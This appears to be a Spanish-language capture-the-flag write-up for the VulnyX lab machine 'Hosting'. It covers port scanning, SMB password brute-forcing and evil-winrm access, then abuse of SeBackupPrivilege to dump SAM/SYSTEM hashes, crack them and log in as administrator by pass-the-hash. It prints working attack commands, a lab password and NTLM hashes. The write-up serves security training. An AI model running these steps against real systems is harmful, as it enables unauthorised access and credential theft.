> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/hosting.md).

# Hosting

🔍 Dificultad: Fácil

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.76
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtVL8GCz4uHirs0lrLhZu%2Fimage.png?alt=media&amp;token=19473550-6111-44ec-aca9-00ebd7862912" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.76 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3Ms9NOIW2AjbWReP06hI%2Fimage.png?alt=media&amp;token=ad8035d8-4ee7-4cfc-a8ad-a63b91faff17" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, los puertos **80, 135, 139, 445** y varios en el rango **49664-49670** están abiertos. Estos pertenecen a los servicios de **HTTP, Microsoft RPC, NetBIOS-SSN, Microsoft-DS** y otros puertos desconocidos, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p80,135,139,445 -v 192.168.1.76
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpfBXUYKL1zLck1MY1zlz%2Fimage.png?alt=media&amp;token=0f89f0ec-c3df-4479-910d-7b5cb62303dd" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4DNqKHERK1Jj6pesPmDm%2Fimage.png?alt=media&amp;token=a6399cf1-f358-4bc4-92d9-3e666e898eee" alt=""><figcaption></figcaption></figure>

Revisamos directorios.

```
gobuster dir -u http://192.168.1.76 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

Encontramos el directorio **/speed**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FO36awxZMIEXBMyUyd5Ny%2FCaptura%20de%20pantalla%202025-02-01%20115358.png?alt=media&amp;token=03731afb-9280-40f1-8223-71db2e84f6b4" alt=""><figcaption></figcaption></figure>

Adjuntamos el dominio a /etc/hosts.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2QxKMzXybc30T4wryEvt%2FCaptura%20de%20pantalla%202025-02-01%20115523.png?alt=media&amp;token=5e114ed6-33f8-4398-8c44-ce981ba78643" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Hacemos una lista de usuarios para realizar fuerza bruta.

```bash
nxc smb 192.168.1.76 -u usuarios -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpMdLz2hHAEngY6bETOkU%2Fimage.png?alt=media&amp;token=7b1b9c70-1438-4586-802e-7ad502e911e4" alt=""><figcaption></figcaption></figure>

Listamos recursos compartidos. Pero no encontramos nada relevante.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FG7Xj3qDcxxJtK4Y9TM9A%2Fimage.png?alt=media&amp;token=916331b1-6015-4964-91c1-68587f4fa768" alt=""><figcaption></figcaption></figure>

Listamos usuarios.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FT3iJGSOEZD9cmUgQ9NwS%2Fimage.png?alt=media&amp;token=0780659a-edc0-44ba-9337-5d04dbb44c19" alt=""><figcaption></figcaption></figure>

Vemos que con m.davis tenemos su contraseña.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWKzvB61RzODaPf71wbfR%2Fimage.png?alt=media&amp;token=604a380b-eae5-4247-9e22-c2cf04eb2ee2" alt=""><figcaption></figcaption></figure>

Comprobamos que j.wilson tiene la misma contraseña. Nos conectamos con **evil-winrm**.

```bash
evil-winrm -i 192.168.1.76 -u j.wilson -p 'H0$T1nG123!'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FVUnqdw4BAELCK22hUP96%2Fimage.png?alt=media&amp;token=047833a0-556b-414d-9309-c4539c989f01" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

```bash
whoami
```

Dado que el sistema cuenta con el permiso **SeBackupPrivilege**, es posible realizar una copia de los archivos **SAM** y **SYSTEM** para extraer los hashes de las credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfUtboYP9UGkBcELaj7Tp%2Fimage.png?alt=media&amp;token=343e2c75-bfd7-4f50-aecd-e263694484f3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FVzQZnb7muM14QYVhin77%2Fimage.png?alt=media&amp;token=3da79872-5cb0-4d3a-a28a-87e61e268fb1" alt=""><figcaption></figcaption></figure>

Nos la descargamos.

```
*Evil-WinRM* PS C:\temp> download system                                   
Info: Downloading C:\temp\system to system                                      
Info: Download successful!

*Evil-WinRM* PS C:\temp> download sam                                       
Info: Downloading C:\temp\sam to sam                                     
Info: Download successful!
```

Extraemos los hashes.

```bash
samdump2 system sam > hashes.txt
```

Ahora con John los crackeamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGQKIkwk1hg8ecmZgHzZc%2Fimage.png?alt=media&amp;token=158e6010-53c3-4c1c-a668-25ae5ec42115" alt=""><figcaption></figcaption></figure>

```
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8afe1e889d0977f8571b3dc0524648aa:::
administrator:1002:aad3b435b51404eeaad3b435b51404ee:41186fb28e283ff758bb3dbeb6fb4a5c:::
p.smith:1003:aad3b435b51404eeaad3b435b51404ee:2cf4020e126a3314482e5e87a3f39508:::
f.miller:1004:aad3b435b51404eeaad3b435b51404ee:851699978beb72d9b0b820532f74de8d:::
m.davis:1005:aad3b435b51404eeaad3b435b51404ee:851699978beb72d9b0b820532f74de8d:::
j.wilson:1006:aad3b435b51404eeaad3b435b51404ee:a6cf5ad66b08624854e80a8786ad6bac:::
```

Nos conectamos. Ya somos **root**.

```bash
evil-winrm -i 192.168.1.76 -u administrator -H 41186fb28e283ff758bb3dbeb6fb4a5c
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlPwJvocuJ2ZH2IdBsI6t%2Fimage.png?alt=media&amp;token=6f73c7a4-07ba-417d-bd63-727c8c6deb43" alt=""><figcaption></figcaption></figure>
